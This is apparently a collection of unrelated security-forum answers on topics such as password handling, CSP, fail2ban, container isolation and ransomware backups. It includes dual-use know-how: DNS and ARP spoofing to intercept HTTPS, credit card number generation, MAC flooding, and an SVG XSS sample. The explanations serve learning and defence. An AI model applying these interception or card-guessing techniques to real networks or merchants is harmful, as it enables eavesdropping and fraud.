Regarding the password showing up in your browser's Dev Tools: this behaviour is inescapable, as you are using JavaScript for encryption which requires you to at some point load the password as a variable. You could of course try to conceal the password by applying a one-time pad on the password. In this scenario you would store the one-time pad and the encrypted password as variables; the original password can be derived using those two variables. Note that this doesn't make the way you store the password any safer, it solely hides it for the human eye.


The problem with this approach is that people are very predictable. These  sorts of password schemes turn out to not be very origial. For example don'tremember and don'tknow are both among the 1,000,000 most common passwords. While I don't know didn't pop up in my quick search, it seems way too predictable.

A further problem with this sort of password scheme is that it encourages reuse of passwords across websites. There are many good answers on this site (eg: this one) that explain the problem of reusing passwords.


This started as a comment reply to @user10008 but got too long...

Even after the towers are all upgraded, the carriers can't immediately switch off 2g service for a number of reasons.  The biggest issue there is that not everyone upgrades their phone frequently; in particular this is true of people who use it as just-a-phone or an emergency-use-only-phone.

There are also commercial/industrial embedded systems that use the cellular network to report home.  Low bandwidth devices like monitoring systems, ATMs, or credit card readers have no need for high speed data and no reason for the owners to upgrade frequently. AFAIK they typically have SLAs with carriers to guarantee longer term operation than the standard 2 year consumer contract.

Regulatory issues can also be involved.  In the US, you're not allowed to turn off a voice network without giving customers free new phones without contract extensions.  As a result, the major US carriers have scheduled 2017-21 sunset dates for 2g service to give as much time as possible for the long tail to upgrade on their own.  That said, the carriers probably will refarm all but a tiny sliver of their 2g spectrum to 4g (5g?) prior to the shutdown to maximize utilization rates.  When the finally do force the issue and shut down their 2g network, they probably will end up having significant numbers of customers who were coasting month to month due to apathy shop around and decide to change carriers.

When Sprint shutdown the iDEN (2g with no upgrade path) network they inherited from the Nextel acquisition; they suffered heavy customer attrition in the final months from people deciding to switch carriers instead of taking a free replacement.  IIRC the loss rate for the final few months was >50% of the remainder and several hundred thousand customers in total.


IMSI catchers essentially simulate cell towers. Nearby phones will try to use these fake towers in order to provide connectivity. But while normal cell towers usually act in the interest of their users fake cell towers might in theory misuse protocol features or send malformed protocol data in order to trigger bugs in the phones modem. Given that the modem driver usually runs with kernel permissions in current mobile OS a bug in the modem firmware and driver might give the attacker kernel level privileges which effectively would allow to control the whole phone.

With 4G hotspots the situation is not much different, only that the initial attack target would be the hotspot and not the phone. Once the attacker has taken over the hotspot it can intercept any connections and unless these connections are specifically protected with HTTPS or by using a VPN the attacker could also modify the traffic. But even if the phone protects itself well against such traffic MITM with a VPN or HTTPS it still leaves communication at the lower level, for example attacking the phone with malformed DHCP or attacking it through malformed Wifi.

Note that all of these attacks require bugs in the phones and hotspots software and firmware. But specifically at the lower network layers (i.e. 4G modem, Wifi firmware, Bluetooth firmware, DHCP) attacks are less expected and thus the software/firmware is usually not designed to be robust against attacks. And 4G hotspots usually have a similar shoddy security as known from cheap (and sometimes expensive) WiFi routers.

To summarize: using a 4G hotspot will make it harder for an attacker since there are more protections to bypass. But, if there are vulnerabilities at the various stages then attacking the phone connected to the hotspot can be done too. Note that most of the attacks would need a very knowledgeable attacker though which makes it less likely to get attacked unless specifically targeted. And if one is specifically targeted then the attacker might also choose a completely different path for attacks since this might be easier, so don't just try to protect the phone communication.


What is the difference between Wireshark and Ettercap for man in the middle attacks!

Wireshark is a passive packet analyzer which allows you to look at network traffic and search it.

Ettercap can do that too, but it is also able to actively change any network traffic routed through it. You can set it up to drop, modify or insert certain network packets.


Consecutive failures on an account since last success should be a red flag.

Increasing lockout time for attempts from devices new to that user might have value.

If the account is consistently being rejected at the 2nd factor then you can presume that the password has been compromised and reach out to the user.

In any case, pay attention to consecutive failures.


What are the risks of encrypting a database with a single symmetric key

The risk isn't about the number or type of keys.

The risk is about where you're going to store those keys. Assuming your application needs to access the database, it will need a copy of those keys. If those keys sit on the application server somewhere, they can be stolen.

Until you tell me where the keys will be stored, your idea is simply creating more complexity. It's security through obscurity.


Is it safe to keep decrypted data in memory?

The short answer is: Just don't.
The long answer is: It depends on the rest of the system.
As ram0nvaldez said, you have to decrypt the data to work with it.  Some level of decrypted in-memory is necessary.  But!
Are you storing your cached DoB data in a Redis cache?  Redis writes its cache data out to disk on a regular basis to facilitate fast restarts.  That would need to be encrypted, too.
Is swap encrypted?  If it's not, then any of your cache that gets swapped may break compliance.  At the very least, it opens the door to a lot of explaining why it's not a problem.
Not to mention storing all that cache creates new problems for your app: memory pressure, cache coherence, and scalability among them.  New devs on the project need to be told to use the cache-search object, and not instinctively write direct database queries.  Is it just DoB?  How many other columns in other tables need the same?  Really, you're better off finding a way to make the database do the work.
AES-NI instructions in modern CPUs make short work of encrypting and decrypting data.  Try to copy a file over the network with scp -o Compression=no and you'll likely see it copy over at wire speed, thanks to AES-NI.  Encryption simply isn't the bottleneck it used to be.  The database can use those instructions to decrypt the index and the data page-by-page, not row-by-row.
If the application has to fetch and decrypt each and every row to find all the records with age >= 18, then you may as well cache it as you'll be pulling the whole table into memory with every query anyway.
Leveraging the encryption features of modern databases makes it easier to be compliant with less overhead.


Why don't mobile devices let you change the IMEI number for better anonymity?

The IMEI is a global fix identifier for a phone. In some countries, if your phone is stolen and if you have noted its IMEI, you can communicate it to a central organization that ask all local operators to blacklist it, making the phone unusable on the entire country.

Allowing a user to simply change it would immediately break that feature.


How secure is the traffic with Sql Server Management Studio?

By default the database communications are unencrypted and vulnerable to sniffing.  To utilize encryption, you need to configure the SQL server with a certificate and then configure the client to take advantage of it.  There's a pretty simple walkthrough for the process here


How do I redirect HTTPS site to another HTTPS site over LAN using a linux?

This is possible with a proxy server (either configured on the client, or an invisible proxy with a MitM positon), or with spoofed DNS. However, in both cases you'll either need a certificate for the target site (such as "google.com" in your example) that is trusted by the client, or you'll need your users to click past a scary browser security warning (and for some sites - those using HSTS or HPKP, including Google - most browsers will refuse to allow the user to click past).
Authenticating the host (server) that you connect to is one of the core features of TLS, the protocol that secures HTTPS. If a client requests foo.com, they won't accept a response - not even just a redirect - from anybody who can't prove themselves to be foo.com. That proof is done using x.509 digital certificates, which are issued by trusted agencies (who verify the identity of the recipient) and cryptographically signed to prevent tampering or spoofing the issuer.

Assuming you either have a cert that will be trusted, or that the security warning is acceptable, there are options.

If you control the router connecting the computers, you can intercept and modify packets. This makes it easy to change the DNS requests from the client to point at your own IP address, which runs a HTTPS server with the certificate. DNS spoofing is possible with several included tools in Kali, although the exact situation will determine which tool is best. One such tool is Ettercap.
Another alternative is to ignore the DNS requests, but invisibly route requests that are outbound to the target server (on TCP 443, the port used for HTTPS) to your own web server running locally. This can be done using iptables rules.
If you don't control the router but are on the same LAN, you can use ARP (Address Routing Protocol) spoofing to make the other machines on the network think that you're the router, so they send their outbound packets to you. You then are, effectively, the router and can use the above attacks. You can use arpspoof for this (and then Ettercap or whatever).


NIDS are designed to inspect the network at certain points, like at ingress/egress points in the network. Its focus is intrusion. Yes, there are signature rules and there are anomaly rule sets, but they focus on the point where traffic passes the NIDS inspection point.

NBA looks at the network. It's looking at bandwidth and protocol use and other factors across the network. It can gather data from across all network devices and work out what is weird/unusual.

And, as per usual in this field, definitions will mutate and change over time as both technologies start to "meet in the middle" and do each other's jobs.


Do TLS standards require the server-side preference to always be used when negotiating ciphers to use?

Within TLS the client sends a list of supported ciphers in the order of their preference by the client. The server has its own lists of ciphers it is willing to support. The server is free to choose any of the ciphers the client offers and which are also supported on the server side. How this choice is done is not specified. To keep the choice simple the OpenSSL API lets the server application choose between two strategies: use the client's preference of ciphers or use the server's preference. There are arguments for both of these strategies:

use the client's preference:
The client might show a preference for ciphers which are strong enough but need low computing resources on the client. For example clients having native instructions for AES will probably prefer some AES based cipher. Clients without such instructions (like low end ARM processors) might prefer ChaCha20 instead since this algorithm needs much fewer resources in this case.
use the server's preference:
Encryption is not really cheap and the server might thus prefer ciphers which needs the fewest resources on the server (but which are still strong) in order to serve many clients in parallel. Thus even if the client would prefer ChaCha20 to save resources on his site the server might choose an AES based cipher since it is much cheaper to do on the server if the server has hardware support for AES (most do).


What was the real reason for dropping reflected-xss directive from CSP?

I think the Mozilla link you provide has enough in it to answer your question (quotes taken out of order from the thread so I can tell a better story):

  Firefox could do better using a (probably more expensive) algorithm such as the one described here (http://seclab.cs.sunysb.edu/seclab/pubs/ndss09.pdf). Interposing on script execution instead of HTTP traffic (as this paper does) makes for smaller strings to match which probably do not cause a big slowdown with this algorithm.

So this heuristic XSS Protection algorithm relies on a pile of string compares between the URL and the page content, and therefore will be frowned upon by people who want to keep the browser's CPU footprint down.

  While we wait for browsers and websites to adopt CSP, a protection against reflected XSS attacks could be a useful addition to Mozilla. In fact, it could be implemented as a default CSP for websites which do not provide a CSP.

The implication here is that a generic heuristic running in the browser is strictly less effective than the devs of a given website providing a properly-implemented CSP saying what content should be allowed to run on their page.

  There have been numerous discussions, the latest one in late 2016 and we
  had come to the conclusion that it is currently not worth the effort for
  Firefox to provide a built-in feature:

  An XSS filter can not protect against stored (aka persistent) XSS or DOM
  XSS, which has become more and more prevalent recently.

  An XSS filter is prone to security holes if not maintained very
  diligently and actively. It is hard to justify security engineering time
  on a feature that provides limited value.

  Lastly, there is an XSS filter in NoScript that people can use.

This one kinda speaks for itself that the XSS Filter is, at the end of the day, not that effective.


Does the Heartbleed vulnerability affect signed java applets

I like keeping this simple.

If the webserver runs OpenSSL 1.0.1 through 1.0.1f and accepts SSL connections, it will most likely be vulnerable. As Steven says, this is SSL/TLS protocol wich is transport layer security.

This exploit is not on the application layer of the OSI layer.

Have a look at heartbleed.com for detailed information about the exploit.


From a credential flow perspective, whats the difference between FIDO UAF and FIDO 2.0 Web Services?

Great question :) A quick note to explain the long silence about that: Nobody was really able to answer this question until recently because there were many debates about possible links between FIDO "1.0" and "2.0" (mainly because there were no real details about FIDO 2.0 for a long time...).

First, your question details are kind of outdated (that's normal). Inside FIDO Alliance technical discussions, FIDO 2.0 is not really used anymore and the link about the real updated w3c submission group is done with a new name: "Web Authentication" or "WebAuthN", and you can follow news here : https://www.w3.org/blog/webauthn/

You can forget every article about first old "FIDO 2" Microsoft implementations, this was purely experimental (* cough * marketing BS * cough *) and done even before the first specifications draft was available. Now Microsoft is really part of the ongoing "WebAuthN" work so MS documentation is currently being updated from time to time... but there are simply no real existing implementations for now as specifications have still to be be finalized. It will be done "soon" (later this year).

Now the real - still partial - answer you can get to this date (2017-02-23)...

The very recent 4th public Working Draft of "WebAuthN" (ex-FIDO2) is available here : https://www.w3.org/TR/2017/WD-webauthn-20170216/
and you can see this is the same as the last official release (https://www.w3.org/TR/webauthn). You'll be able to find info there about new credential registration and authentication assertion verification... and for the first time, you'll find a new section "FIDO U2F Attestation Statement Format" that is the first step of finding a missing link between FIDO U2F and WebAuthN (ex-FIDO2).

(I don't think there is or will be any kind of compatibility between UAF and WebAuthN but let's consider WebAuthN as the new non-messy UAF)

I hope it helped :)


This option basically allows  registered hosts to call without re-authenticating. According to this article:

  Never include the parameter “insecure=invite” or “insecure=very” when
  defining a dynamic SIP user account. If you do, it will disable
  password checking for that account. Where possible, restrict the range
  of IP addresses from which the user is allowed to connect using the
  “deny” and “permit” parameters. This is a good idea where all possible
  source IP addresses are known in advance such as from a local LAN in
  an office. If possible, avoid setting the type to “friend”. Instead
  use “type=peer” and “host=dynamic” (see below).


Content-Security-Policy (CSP) HTTP Header useful for direct link to image?

If you are sending the correct type in the Content-Type header, the X-Content-Type-Options is set to nosniff and the image is not in SVG format, CSP shouldn't be necessary. CSP is also not necessary if the content is trusted (i.e. not user-generated) and static.

User-generated SVG is dangerous because the user can upload something like

<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS!')"></svg>

and send a direct link to another user.

However note that although in some cases there is no reason to enable CSP, there is also no reason not to enable CSP (other than saving a few bytes). If you accidentally disable CSP for dynamic HTML pages, you can open your website to more XSS attacks.


XSS and Content Security Policy, and existing CSS

You can deploy your Content Security Policy in a way that is very restrictive to scripts, but still allows inline styles. The two directives to look out for are script-src and style-src.

Here is an example policy you might use:

default-src 'self';
script-src 'strict-dynamic' 'nonce-rAnd0m123' 'unsafe-inline' http: https: 'report-sample';
style-src 'self' 'unsafe-inline';
object-src 'none';
base-uri 'none';
report-uri https://csp.example.com;

The thing about default-src is that it's supposed to be a fallback, in case that you did not specify something. In the above example policy, img-src is not defined, so it would be the same as the default-src.


Killing IP connections who "spam" with requests

On *nix, you can use fail2ban with a something like this in your jail.conf (100 requests in 30 seconds means a 5 minute ban). Of course, you'll have to adjust this for how many requests you expect from a legitimate user -- as @Jeff Ferland points out in the comments below, you need to account for the number of requests that you receive on a normal page load (e.g. you have a lot of images on the page).

[apache-spammer]

enabled = true
banaction = apache
port    = http,https
filter  = apache-spammer
logpath = /srv/*/log/access.log
maxretry = 100
findtime = 30
bantime = 300

and a filter like this in /etc/fail2ban/filter.d/apache-spammer.conf:

[Definition]

# Option:  failregex
# Notes.:  regex to match the request messages in the logfile. The
#          host must be matched by a group named "host". The tag "<HOST>" can
#          be used for standard IP/hostname matching and is only an alias for
#          (?:::f{4,6}:)?(?P<host>[\w\-.^_]+)
#
failregex = ^<HOST>.*/path/to/content.html

This is untested -- you'll have to experiment a bit to find what works. Watch your fail2ban.log to verify that you aren't banning innocent users!

An alternative would be a firewall rule that rate-limits requests from a particular IP address.


If a container is compromised does that mean host also compromised?

If the kernel is compromised in the container, the host is compromised.
Ostensibly, a compromised container should not be able to harm the host. However, container security is not great, and there are usually many vulnerabilities that allow a privileged container user to compromise the host. In this way, containers are often less secure than full virtual machines. That does not mean that virtual machines can't be hacked. They are just not quite as bad.
If the kernel is exploited in a virtual machine, the attacker still needs to find a bug in the hypervisor. If the kernel is exploited in a container, the entire system is compromised, including the host. This means that kernel security bugs, as a class, are far more severe when containers are used.
Containers are often implemented by using namespaces:

A namespace wraps a global system resource in an abstraction that makes it appear to the process within the namespace that they have their own isolated instance of a global resource. Changes to the global resource are visible to other processes that are members of the namespace, but are invisible to other processes.

Unfortunately, Linux namespaces typically expose a much greater attack surface area from the kernel. Many kernel vulnerabilities are exploitable in namespaces. While not every container solution uses Linux namespaces, they all use the same kind of technology, with the same security issues. Some containers, like Docker, are capable of making use of a syscall filtering framework called seccomp to reduce the attack surface area of the kernel. This is an improvement, but isn't enough.
From Daniel Shapira:

[...] kernel exploits can be devastating for containerized environments. This is because containers share the same kernel as the host, thus trusting the built-in protection mechanisms alone isn’t sufficient.


Certification depends on the nature of the software, how it will be used and where it will be used (country, industry, etc...). Without that specific information we can't help you. Third party reporting can be done by several institutions and companies.

ISO27001 is an information security management system, CIS is a company providing services and creating testing guidelines. They are completely different. ISO27001 looks at your organization as a whole, CIS looks at your systems.

My opinion of O-TTPF is that it is useful as it can provide some assurance and thus shift of risk if something goes wrong in your software in the external component.


Is it possible to hide malicious code within/behind an image?

There are lots of methods to hide information inside an image, like inside the meta data, after the image or even inside the image using steganography. In case of real executables you need some code to extract the information from there before you can execute these as programs. But in case of Java, Javascript or similar programs such a file could actually be image and code at the same time and gets immediately executed.


Choice of Anti Virus Tool vs Anti Malware Tool?

Anti-virus and Anti-malware are the same thing.

The term Anti-virus is from early in the industry where viruses where the bulk of malware affecting users systems and being written so for marketing reason anti-virus was name chosen. Since then the categories of malicious programs has expanded and will continue to as we move forward.

Virus / Worm / Trojan / Ransomware are different types of malware.

Selecting the tool - well this is going to be up to your team to gather requirements. Do you have a large fleet and a security team that handles these incidents? Well you're going to need a centralized pane of glass for reporting and taking action. How easy is to push out to your machines?
Are you a small business? Well then maybe just a stand lone product on your machines is fine or using Windows Defender.
Maybe take some sample malware you get run it through virus total and pick your AV product based off those results
Protecting assets - there is no single tool. Virus total shows a good example of AV products detecting some malware but not others. This doesn't mean go load up all the different AV products it just points no all cases are going to be covered.

Security is layers so look at AV + Host Firewall + Application white listing + Monitoring + Least privileged as an example


Required security for storing bank transactions, but not credentials

If you’re not a merchant (ie you don't take payment cards) and you are not a service provider to merchants or banks, then there is probably no one who is contractually asking you to comply with PCI DSS -- and so the decision is yours. If you have payment card numbers (the 15/16 digit number in the middle of the card) then you may want to consider it as a good baseline. For another good baseline consider the CIS 20 critical controls.

Also - if you’re in the EU you need to be aware of the EBA's security RTS under PSD2 because it sounds like you may be providing Account Information services. However if you are in the EU, once PSD2 comes into effect (13 Jan 2018)it specifically says that the account number is not 'sensitive data'.


Chance of guessing any valid credit card data

Guessing a valid credit card number is feasible.  Choose a known BIN (first six), generate 9 random digits, and then append the appropriate checkdigit.  That's only 1,000,000,000 combinations - high, but listing every single one is certainly doable even on a personal computer.
Checking whether your guess is actually valid is harder.  Almost every single website will ask for your expiration date and most will also ask for your CVV.  Assuming that the card in question will expire within the next four years (standard lifetime of a card), that's still 12*4 possible valid expiration dates.  And the CVV is another three digits you would need to guess.  All told, that's 10^9*(12*4)*10^3=48,000,000,000,000 combinations - much less feasible.
Additionally, you would need to spread your guesses around - throwing them all at a single merchant's website will likely get them shut down by their payment processor for permitting exactly this kind of attack.


Security element that relate to breaking protocol

The concepts that affect information in CIA and the Parkerian hexad cannot be mapped to technical controls of a protocol at the protocol level. A protocol's controls are meant to enforce security elements.

What you can do is to relate the vulnerability to the effect on information. In your scenario, how is information at risk? Why is being a member of different groups an information security risk?

Breaking of the intent of a protocol's design is not inherently a security risk. There is just simply a violation of design intent.


Does RADIUS allow for eventual, gradual adoption of 2 Factor auth in an AD Environment?

A partial answer that may get you on the right path is to set up NPS as your radius server and get as many of your applications using radius.  This is simple to do for VPNs.  Your 3rd party apps will have to support radius as well as ldap.  LDAP will not proxy the credentials to a 3rd party server like radius.  IIS support radius auth.  Not sure if Ping supports radius.  Do not use radius over the internet, except in an encrypted tunnel.

Workstation login is very hard to via radius as the GINA just doesn't support it.

We have a doc on adding two-factor to NPS: https://www.wikidsystems.com/support/wikid-support-center/how-to/how-to-add-two-factor-authentication-to-nps and we have a pdf on the architecture of it here: https://www.wikidsystems.com/learn-more/white-papers.


From what you have explained it seems that OAuth 2.0 would better suit your needs. OpenID Connect was developed to add secure authentication to OAuth 2.0. Large providers i.e. Google, Facebook, Yahoo, etc began using OAuth 2.0 as a way to authenticate users with "login with" services so users could use their credentials to authenticate to a variety of third-party services. Standard OAuth 2.0 cannot securely satisfy this requirement because of deficiencies within the protocol. OpenID Connect solves these deficiencies and allows providers to securely use OAuth 2.0 as an authentication framework. OAuth 2.0 was originally developed as an authorization framework which allows a user to grant a third party service access to their data stored on the provider. The scenario you described seems like exactly what OAuth 2.0 was developed to do. If you do not plan to offer a "login with" mechanism use OAuth 2.0.

If a user will have their own credentials for the third-party services and not use your providers credentials to log into the service, you won't need OpenID Connect.

This was the most useful resource I found. It's a blog post by one of the designers of OpenID Connect that addresses Facebook's different uses for OAuth 2.0.


Memory Protection Unit/MMU in context of multiple cores and security issues

All the SoC's I've seen with this configuration have handled this situation by having MPU registers only writable from the "secure" baseband processor or from within TrustZone. As you wrote it's virtually impossible to keep the application world from getting hacked/rooted, but as long as the MPU(s) cannot be reconfigured from the Linux kernel then you still have reasonable protection. I don't agree with the statement that the non-opensource micro kernel would be any more secure though - plenty of vulnerabilities in baseband code...

Edit:
I haven't worked with the Qualcomm MSM8x10/8x12 (Snapdragon 200 family) specifically but the architecture looks very familiar to the more powerful Snapdragon 400/600/800 chips with xPUs (Protection Units) all over the place (protecting memories and peripherals).

Also I would be very surprised if the NS-bit isn't respected (it is dealt with in all other Snapdragon SoCs I've worked with). The details of the security solution is something that Qualcomm will have to disclose to you through the normal support channels though.

As far as attack vectors go there have been a lot of different approaches, everything from utilizing JTAG interfaces that people forgot to disable to very advanced attacks on the low level software. In the end it all depends on how interesting of a target your application is - cellphones have traditionally been a high-value target where people are trying to gain access to the baseband to change the SIM-lock and/or the IMEI/MEID number. Most hackers these days are more concerned about gaining full access to the application side (rooting), so as long as you're not making that too difficult hopefully they will leave you baseband alone.

If the security has been set up correctly then obtaining access to the TrustZone Trusted Execution Environment (TEE) memory on the application side and access to the baseband memory should be very difficult from the non-secure world. There's no way the chipset will be approved for the more serious DRM schemes if this wasn't the case.


Unicast ARP Requests: Considered Harmful?

Possibly due to MAC flooding attack - a kind of Unicast flood attack where an attacker would exhaust space in the MAC allocation table of a switch, so not being able to find the right address in the address cache (all were supplied by the attacker), it would flood the packet out to all ports (if a switch received a unicast packet with a destination address unknown to it, the packet is treated like a broadcast packet and is sent out to all hosts on the network). After most/all/target legitimate MACs were forced out of the table, it's a nice time to start a packet sniffer as the previously unavailable packets that were spat out by the switch are purportedly available for capture. Even if no packet capture intended this is already a type of DoS attack, esp. in large networks (due to the number of clients talking to the switch), which certainly degrades network performance.

BTW, unicast ARP requests are legitimate as per RFC1122 which states on Page 23:

  (2)  Unicast Poll -- Actively poll the remote host by
                        periodically sending a point-to-point ARP Request
                        to it, and delete the entry if no ARP Reply is
                        received from N successive polls.  Again, the
                        timeout should be on the order of a minute, and
                        typically N is 2.


Can the Windows Schannel vulnerability be exploited by visiting a website?

What is known about possible attack vectors for this exploit? Can it be exploited simply by visiting a website if you haven't applied the update?
From [Dailydave] More info on SSLMAGEDON:

Our friends at BeyondTrust have a page on the bug now:
http://blog.beyondtrust.com/triggering-ms14-066
One thing I think people are missing is that this bug works by default
on Windows 7 and above. You can force a client cert down Window's
throat, which triggers the vulnerability regardless of configuration
settings.

From Assessing Risk for the November 2014 Security Updates:

"Most likely attack vector" [...for MS14-066 is...] "User browses to a malicious webpage."

Note: "User browses to a malicious webpage" was changed to "A malicious user sends specially crafted packets to an exposed service" after I wrote the previous sentence.
Does this only apply to IE, or do the other browsers use the vulnerable library as well?
From the document at TLS/SSL hardening and compatibility Report 2011:

In order to assess the SSL/TLS support of modern Internet browsers we had to take a look at the SSL engines they use. Some SSL stacks generally have capabilities that browsers do not make use of per default, the lists below only reflect real default browser usage.
Chrome and Firefox use the NSS engine
IE5, 6, 7, 8 and Safari use Microsoft SCHANNEL
Opera and Safari (OSX) use custom SSL engines

From Transport Layer Security:

TLS support of Opera 14 and above is same as that of Chrome, because Opera has migrated to Chromium backend


Shared vs unique credentials for remote support vendor accounts

Yep.  My compensating control of choice would be to modify your SOW so your vendor needs to maintain netflow or other logs capable of identifying which of their people initiated a connection to your network, and maintain those logs for a period of X, which matches your security group's log retention policy.  Require this log to be available upon request.

You maintain the audit trail while dealing with the business need of simplifying vendor account management.  And you don't add any work on your side of the contract.


Will this Setup Protect My Data Files from Malware (e.g. Ransomware)?

TL;DR: I'd suggest you to alternate two SDs, to enable Windows Defender Ransomware Protection and to consider switching to incremental backups.
Your Weaknesses
Your setup is better than the default one, but it seems to have a couple of weaknesses:

You might inadvertently synchronize partially encrypted files, propagating the encryption to all media
Depending on how your synchronization app works, attackers who compromised your cloud drive might encrypt it and wait for the encryption to propagate locally
Local malware might escalate privileges to local administrator bypassing UAC, proceeding to both harvest cloud credentials and then to encrypt local disks

Proposed solution
The key to protecting from ransomware is making valuable backups inaccessible from the potentially infected host. That can be achieved by alternating backup media, or by having a different host access your host and pull the files. You can alternate a couple of SDs (I always keep one encrypted backup in my wallet), or simulate alternating media by having your administrative APP do incremental backups (though that remains exposed to privilege escalation).
Mind some advanced manual ransomware attacks of the past were known to start by encrypting backups, patiently waiting for months for all copies to be overwritten. Only then they proceeded to encrypt the actual data and ask for the ransom. One assumption of IT security is: "the attacker knows your system".
Modern anti-malware software also helps, as it usually includes shadow backup solutions and behavioral analysis detecting and stopping ransomware, but it is not a silver bullet, also because it is subject to the aforementioned privileged malware. In any case activate Windows Defender Ransomware Protection.
Balance the cost
As usual the key point is: how much security is enough? Just enough. If you don't have very valuable data, don't look for the full mitigation, as costs increase exponentially (also in terms of time) but security increases asymptotically.
Additional risks
By backing up unencrypted files to media or the cloud you expose yourself to data leakage. I strongly suggest encrypting backups.


What are the risks of antivirus exclusions for virtual machines’ files?

I can think of the following points:

A malicious file could be stored using these extension. It is not impossible for your hypervisor to contain a bug that could lead to an exploit once a crated storage file is loaded. Potentially, your AV could be made able to detect such a problematic file before you have the time to patch your hypervisor, reducing your window of vulnerability.
Your AV might be able to understand the format of these files and look into them for potentially harmful files. I'm not aware of any product that does that but I haven't looked very far (and I'm not overly interested by such a "feature").
It is possible that the AV heuristic engine could actually detect some form of malware directly in the files while they aren't in use (most likely shellcode).
Depending on how your AV works, if the files are stored on an NTFS file system, a malicious file could be stored as an alternate data stream for one of these files then the AV might also skip the ADS linked to the excluded file.

IMNSHO, I think that the above risks are well worth taking given the high performance cost of on-access scan of VM files (which tends to be huge).


Prevent a server side script from a direct URL access

If backend_file.php is going to be accessed via AJAX, then it needs to be requestable by the user.  If it's only going to be accessed via require()/include(), you can use define() and defined() to prevent it from being directly loaded.

In index.php:

define('MAIN_INCLUDED', 1);

In backend_file.php:

if(!defined('MAIN_INCLUDED'))
  exit(1);


Is it secure to ship public key with license file?

No.

You want to ensure license file's integrity by using a public key to verify. However, if you let your app receive the public key with the license file, an attacker ( who want to change the license file ) could just change the content, generate a new key to sign the content and replace your key with their key.

And your app will use attacker's public key to verify the signature, which is made by the attacker.


Why oauth use a secret with temporal credentials?

Secret is sent only once from OAuth provider to app's server via SSL connection and then stored on app's site never leaving it later, while open part of token travels from a client to app's site with each request (leave alone session caching for now). SSL is designed to resist sniffing, being implemented properly and employing latest strong algorithms, so without compromising SSL algorithms, SSL certification scheme or app's site itself (perhaps, the weakest link...), it's not practically possible to obtain secret and forge fake request from unauthorised clients.


Same-origin policy for desktop application?

It seems to me you're discussing two things: sandboxing on the desktop and then strategies for user content access in sandboxed applications.

Sandboxing

There are many sandboxing models out there, including the ones used by OSes:

Windows 8 WinRT Store Apps
OS X Sandboxed Store Apps
iOS Apps
Android Apps

Some apps are shipped sandboxed, for instance Chromium (using seccomp2/BPF on Linux, and integrity levels on Windows), Acrobat Reader and Microsoft Office (via the Protected View, see below), etc. And tools that force specific apps to be sandboxed, such as Sandboxie (Windows), mbox (Linux), etc. Add to that a plethora of research prototypes that are more or less functional...

Sandboxes essentially limit the ability of apps to do IPC, access user data, inspect other processes, perform system calls that might be dangerous, have access to the system, and limit a couple of extra APIs such as access to device capabilities. They almost always rest on system call interface interposition (seccomp/BPF/Capsicum), building/linking against specific APIs (e.g., WinRT) or mandatory access control (SELinux-sandbox, Android?), etc. combined with capability/permission systems for access to dangerous interfaces (device caps, some forms of IPC or file access, network access...). These capabilities can be obtained at install-time (bad: people don't always review them and usually can't revoke them e.g. Android), at runtime through prompts (bad: nobody reads them), or through trusted UI elements (good! see powerboxes, UDAC, security-by-designation, and this is now partly implemented on Windows 8, OS X and will be part of the Linux GNOME sandboxing model). Sometimes access to the file system is managed through a layered file-system so that apps don't notice the restrictions imposed on them (e.g., mbox, Linux namespaces).

This being said, the main issues with regards to sandbox performance are the ability of developers to build apps that are sandboxed, and the ability of sandboxing models to accurately limit applications to the least privileges actually needed.

For instance, on all the existing OS sandboxes (Win, OS X, iOS, Android) apps have permanent access to all user files they ever opened (e.g. futureAccessList in WinRT that allows you to reopen every single file/folder you've previously seen). This means that compromising a legitimate app potentially gives you access to all the files related to it. This is in sharp contrast with a same-origin-policy where an app would be able to access only content related to whatever it has been manipulating before: you compromising an app with e.g. a crafted file or packet should then only lead you to gaining access to the data that has been accessed in the same session or from the domain where the data was downloaded / network packet sent.

Some models close to SOP in desktop sandboxing

Windows Apps' Protected View: some apps, e.g. Office and Reader, can create restricted compartments in which they will open a file deemed suspicious. Because such compartments would not be allowed to interact with the main UI, the majority of the apps' features are disabled: the file is read-only, not always printable, and so on. Users have to click on a button in the main UI to make the file read-write and enable those features, essentially removing all protection. The assumption of this model is that:

content rarely needs to be edited and often needs to be consulted (which is probably true in many cases)
users will notice themselves when a malicious file is malicious, just by seeing it (which is not true at all :) )

Files are deemed suspicious if they are downloaded from a non-white-listed domain, or attached to emails from people who are not part of your contacts. This works well for some corporate users but not for all, and some users have been asking how to disable Protected View.

Content-Based Isolation: this is merely a theoretical model for a service-oriented OS developed by Microsoft Research. There's fairly little information on what's being developed and what for and it's likely this is not what you're interested in. Actually their paper provides very clear arguments why content-based isolation is due to become a hot topic and what it can be expected to provide.

Qubes OS: Qubes OS is an activity-isolation OS based on the Xen VMM. It allows users to create and name VMs in which they can run sets of apps, and merges the interfaces of the different VMs in a custom-made desktop environment. It provides very few of the typical features of a modern desktop, but has a very strong security model, especially wrt. hardware and low-level attacks on OS components.

Its main issues lie in the fact that it is modal: users have to remember at all times in which VM an app is running and make sure never to mix VMs together to avoid breaking their security model. They also have to manage syncing files between app VMs themselves. This is a typical no-no in HCI for most users, and the Qubes OS developers advertise their OS only for people who are motivated in security and willing to maintain their security model. Qubes OS is the most advanced prototype of OS isolating content rather than just apps.

More experimental models include PIGA OS which uses a SELinux-based MAC enforcement system to prevent unwanted information flows. It can be reconfigured on-the-fly with new policies thanks to a component called ContextD, assuming someome wrote policies in PIGA's own MAC language for each activity that must be available to the user. Policies cannot be updated by users and in fact users can't even see what policy is being enforced. They can only perform one activity at a time on the whole OS rather than have activities per app. PIGA OS is not usable in production, and was developed as a research prototype for a contest on OS security. I was involved in developing some tools around it, and the team was more interested in developing the technical infrastructure than the user interface. The threat model explicitly included users as adversaries.. I don't think that the project is being continued.

Finally, another research team is currently developing Bubbles for Android. If I remember well it uses Linux namespaces to isolate applications or groups of applications. It provides some UIs for managing different "social contexts" and sharing data with contacts participating to those social contexts. The model is very oriented towards collaborative information sharing and communication, which is a typical workflow of mobiles rather than desktops (where more complex workflows exist). What I regret about it is that there's no vision of how those social contexts emerge and are managed over time, which takes us to...

Why exactly is it so hard?

The main issues surrouding the identification of content that can be put together and isolated in the same container are issues related to people's awareness of the structure(s) and context(s) of their activities, how able and willing they are to make an effort to manage accurate representations of their works (and what can be provided to them in the way they perform computing to compensate for those costs), how computers can manage meaning on par with human beings, how mode can be handled in complex interfaces, how to account for the situatedness of human action and the need for users to routinely cross through security boundaries in their daily use of computers, how to handle ephemeral or emerging activities, and so on.

